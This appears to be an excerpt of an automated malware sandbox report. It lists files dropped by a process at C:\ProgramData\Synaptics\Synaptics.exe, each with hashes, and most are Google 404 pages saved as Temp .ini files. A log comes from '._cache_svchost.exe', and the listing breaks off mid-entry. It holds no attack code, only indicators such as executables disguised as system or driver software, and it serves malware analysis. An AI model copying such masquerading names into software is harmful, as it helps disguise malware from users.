Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="2mfyje5ogIXdshwCzznVlQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\FqO5T2M.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264308308632408
Encrypted:	false
SSDEEP:	24:GgsF+0kESU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+1E+pAZewRDK4mW
MD5:	4E7B6CCBC5B600B454BCCC91F8A134EC
SHA1:	957362FBE0392110EEF9D72D281769F49FBF3FD4
SHA-256:	7418F8E10DB727A7C9948349026FB4806F0998DA952138FE782471F3BB3E092F
SHA-512:	A7A85923173E2D2AA8F8BB652FCCA45AD74DBDCCE9FD7CD3D4F9C257F902FE6CA7757E9337645DA4334D4EDE5006CEEDDF3D85365E48F85EDDC2C17EB6BCD1AE
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GSr4KywYGXfFr4SpOffUSw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Gn8istX.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.271213055761813
Encrypted:	false
SSDEEP:	24:GgsF+04ubSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+hub+pAZewRDK4mW
MD5:	04B6859F1DCA248C4DCBD41D619A8D43
SHA1:	75D543634252853FB97A5537BA15F1F3F9CA3FCC
SHA-256:	3E77DC01377AF127A260F15C59FED164A3137797006EC73D7D0D34C1CDA97A32
SHA-512:	342AB6C8EF76A5830758482672898E18D612A72710993DD0DDFDF68E85BADED78E76812AD6BBB741C481EBAE4829B83034B38D3B14D876F6796434F36E6F22B9
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="aV_PkXHiW3cuIlRAqBU-Jw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\GrydnFj.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269827076942667
Encrypted:	false
SSDEEP:	24:GgsF+0AXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+lX+pAZewRDK4mW
MD5:	3B3C397FCE593F82F98D64AF433BCBA2
SHA1:	29305BBDB1061777E5EEC96DF571EA1A1B544AC4
SHA-256:	60A431A2CE80ACBD4D040500C6F744DA9C6DB9CF28C1EC3E096643CB365C4B61
SHA-512:	5CA84940530676E8547D9E87D5E8AE3B01475AD9B4014F52EDF3ED30E2A5D96A6C730545519DAE6B9DC62F33D2D93B38DD647765C2C2B877A44777F8A471C6A3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="UhGsm62HyJqbvB-3YUyyRA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\HVk6FyR.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268783265101144
Encrypted:	false
SSDEEP:	24:GgsF+0+SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+J+pAZewRDK4mW
MD5:	E1853D87368892A8B8923466740D15E7
SHA1:	F431BAF75ECA81A2197001ADECAD5309EE08FF4B
SHA-256:	BF438B7E8A7EF006E533AD2D4A46265DA5318BF255515453339A2A1E5DEED0A0
SHA-512:	D09186DAD61904E5099DBA46BCCA89FB5BAE674B28F57A6B8CB66C16C500F17B570BA38A544F6AFD7168F527E04533831FA13BBF8D46380EDB262CBD9F806008
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="tFqhJfUnmBWqEBaZ9RvQmQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\IZutBGH.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268366867882066
Encrypted:	false
SSDEEP:	24:GgsF+07ISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+mI+pAZewRDK4mW
MD5:	BE172E9D1D643107C7312B7ECD8FCFC5
SHA1:	294A0B17A216355BD90E1CB69022D3014D62E8CC
SHA-256:	1F71E0F861D3D3C050A36BC4C8345F8A1970CF11A6A741CAA89D9B219771B767
SHA-512:	19D4BB1D67940CFC82A31A21BE9727C955B4A77E7770EC1C282E92897296D53161A75A19DA4A6F4BFFB6F974C89EE15F819CACA2722BD73F3D73C38F00C942A0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="n2HN2tuB6VvS3z8AHfNFpw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\JOZPcBk.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259919635904732
Encrypted:	false
SSDEEP:	24:GgsF+0j+SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+5+pAZewRDK4mW
MD5:	49D56CCABB5CE4F51CB487B790FDF421
SHA1:	164DA29BAB6EAABB1DA5B9EAC36F75AAFCE09261
SHA-256:	E2A012B43EE6D748E488B57CFE0114B863BC5E7002E12DE67CDD4F1830B48EE9
SHA-512:	796C70F3773B565DBB2018E341E6812976E0205A5759110666D14FDF9DB07118ED0347BA3F105A2E7FEE28394EB7907B62DE64B314C63C245E4EB76367673F85
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="omfZBMik3KdZZ2QKll9_Cg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Jsuyozp.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264845406266809
Encrypted:	false
SSDEEP:	24:GgsF+0XSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+w+pAZewRDK4mW
MD5:	D4F99F07D85DC9844E19DD8C0150ABD7
SHA1:	B1FEE33FCB641C5D6AD634B0F83E5E8DD2A43350
SHA-256:	E31571D82B421DE18DDDCC4E483001353935563011B49F5FB38257D633441393
SHA-512:	85AF73CFC2F433E1FAA7504C21A5D61CC252FA337565BEDACDBBF25B1BC097119F20D3082779000CD2CC4295967CF194796BC89A36F749EDB2BCD14B51FA3C0E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="rMr9XFGiaVPQ2II93r0eVQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Kflt6um.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272585505909014
Encrypted:	false
SSDEEP:	24:GgsF+0JISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+9+pAZewRDK4mW
MD5:	D292AC7710983E09A6E5A83B032A4579
SHA1:	16A06E82AE5E36E1A59D7136A061D792E7D39E9E
SHA-256:	9E272853478A13AF96C1C6F4135C0C18BF8CA85FADF25852D2D7685CD11311FC
SHA-512:	A9CC5E6F14E0223D4E59A5B23E2FD5E617DFBA5551F0C62891815B027F53D75763CC6AA5C241FCB89EF6F6B1518EBBB1B4C83BDC5B646231AF2DA300D24687A3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="T6EI5efAJiZGiX7Wv9uR8A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Kg7gpRN.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272218957187759
Encrypted:	false
SSDEEP:	24:GgsF+000aSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Z+pAZewRDK4mW
MD5:	7D429610C1812D95971EC6255B51FD99
SHA1:	D5E48CB22B47BD8037455AA12F62CB07C39556A9
SHA-256:	242F39DDEDCEAB1F46B826FFD349D59B377B69DB762A577989471FA8AFF6FFA2
SHA-512:	014F7B31548DFE73778EE88CEBD258934023A8E695C53B6BE70597C13F7DD42878E4C3E17A434E3D6966DB7DCAC26F22598940390A85AF160A8512947A55A365
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="SPTE7YgkM1DE_vZk5mCqcQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\LLMFsq8.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259040369506436
Encrypted:	false
SSDEEP:	24:GgsF+0vSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+k+pAZewRDK4mW
MD5:	758CD4A0CB71477FF1162794617EA114
SHA1:	3FF6B580A071E91626CFDD30A10A6D1C913A8265
SHA-256:	B1D5216BFE7F9F91912CAE776AB27025E51B80645BAE7B08B16AE3EAF7770C06
SHA-512:	C18C5BF0A179DA66F92EF25E246CE93E17987D59FCAA407248F358C2DE9CC742A754B9E79FAD6AAC3DA147D19A50DF0DCD238EA5BDCDC2C05A555BD12567E85B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="38Ahs_oWrf_ccWwBpCXgJA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\LkkgikG.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265473145925404
Encrypted:	false
SSDEEP:	24:GgsF+0STBSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+pTB+pAZewRDK4mW
MD5:	6AA9B9AF9F07C4150E14D8E8419C07C2
SHA1:	C1FD4A6A2EC0381DAD2491790B0B9D22B8BB262A
SHA-256:	2FEC5EF9945803505E800A9D16866F616F7FF18E11B4F2D5DF977B20813AC638
SHA-512:	B46754FF6A1EFC870FBF9B20C2044C00D988B61E6202D0B12277A3601331A8D4DC6EFB7E1DC579C5FE74F2F269377F00841FDED3569B3FA7F0F4F129CE275A95
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="WRdSE6dyUXplUi8H5H9yXw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Log.tmp

Download File

Process:	C:\Users\user\Desktop\._cache_svchost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	94
Entropy (8bit):	4.488694405552862
Encrypted:	false
SSDEEP:	3:rRSFTVRLLMJArMF2cWRA4kvRovNsrTyAFYJKXzovNsra:EFZRwArMF2RUZoWrTyAFYJKDoWra
MD5:	B131D7237C648F85D777B142012C85BA
SHA1:	CED57C98962BFBEFEC091B34F275367A7452254A
SHA-256:	FE7D538BADD0FA2B771AACD3AA665B0ADB1749DC1012F6E450BB9792D84AA6E0
SHA-512:	F3326C7B4619C6104C3D31494BF7E7EE587D7DDC82EAD19FD46053BB42A16EF55D1A459B89C338BACC5563BC2470FDECEA5972A170BFED5CB69FE6198E1C5F67
Malicious:	false
Preview:	....### Fulloptionnew_by elegance.exe - System Error ###..[WIN]r....### explorer ###..[WIN]r

C:\Users\user\AppData\Local\Temp\MbwCV4T.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2746502200315755
Encrypted:	false
SSDEEP:	24:GgsF+0TSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+0+pAZewRDK4mW
MD5:	AF96AFEC80388E1627E216A0CDEEA987
SHA1:	7FD839B40A3A2DFED9E525262035E924B6240E47
SHA-256:	3AB579392A39D3F932D11DDA5AA6C0E4DEBEF8A55F35A7F6425D11FBEA6F00D1
SHA-512:	735F5BB74E94F06090A06CBA1D4E03A5CA0E32E6CFC6E46A3C5A0496118EC202D31FB75F395C2BB638C504629C4AC21C8C6B4443640066F410E29B0AA308CC4E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="M96w9RGCgyYqOY8sPNRrJw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\N4kwknn.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256973680522504
Encrypted:	false
SSDEEP:	24:GgsF+0kSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+f+pAZewRDK4mW
MD5:	18FD46BB2D9BCC39C703788484E8CA0E
SHA1:	37A636ED544A790EE23FCEDA4EB6B49C16A73F74
SHA-256:	5D96FF8A6B90203E5B37D9F4E1653193725B6BE8BCF0458287A4E5E2B9B51755
SHA-512:	85CEFA03C9330E8082AD84A93052430480E16B650B5448CD6B9EF3AEF65315CB3E64C3105FC2B2A2DEECCB638C69E98D170D10AA49AB7EDB8B68F981739BDB42
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="CCJbDejAsJGmrpv_nEFraw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\N6wYOYL.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.252557699934203
Encrypted:	false
SSDEEP:	24:GgsF+0OSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+V+pAZewRDK4mW
MD5:	65307A69460A2D2B438B7894632D7089
SHA1:	911E215820447BCD0D95387D71F0FDF9BD09E32D
SHA-256:	03EB2BFEED7AD0244B29182F2B57216EA8236E55DB28542E829AACB74F2AA8F6
SHA-512:	4EC4FB5A544B270A789FBD938F63D8BF2BC3923C33A3D225AF3A166DD47045177FD7C5EDB0466C037588E5CA2BE672F2AD7700E610962995EEE08A61B10FA4FA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="n9mm_Dgzax88amMvFnWQWg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\NFCC81N.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266092119299232
Encrypted:	false
SSDEEP:	24:GgsF+0Lo7DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Pf+pAZewRDK4mW
MD5:	EC7023DB9FFFF2D3267B8B335251F533
SHA1:	F1EF2645518CB4C1D2C7BB8162949C8AE5CCC67E
SHA-256:	3B46D19E0977C3999FFBBAB2D3E6285FC17FB7A21FCCF84995E600A4214B2F23
SHA-512:	134A282C0F2DBBCD4024BAB1F73C5A54D0C4A9A6777B3F5B3041ACED6F0FD276389C192D8E80924DF3E56EBEF21351226F3B244C33A84FA5A1D693F11CD49FE6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="u2sWKvE6oZMHuDYefNzckg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\NthjWYU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259838257178562
Encrypted:	false
SSDEEP:	24:GgsF+0nESU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+T+pAZewRDK4mW
MD5:	21FA560CE338E97A272C8D28D3C79CA3
SHA1:	1892BA4EC669D13D241D1BF3A61025F7B5E12D99
SHA-256:	218E023674F9A00D536310A308E06AB85587752E7DFF7FCA5BAD37B26C5E1C8C
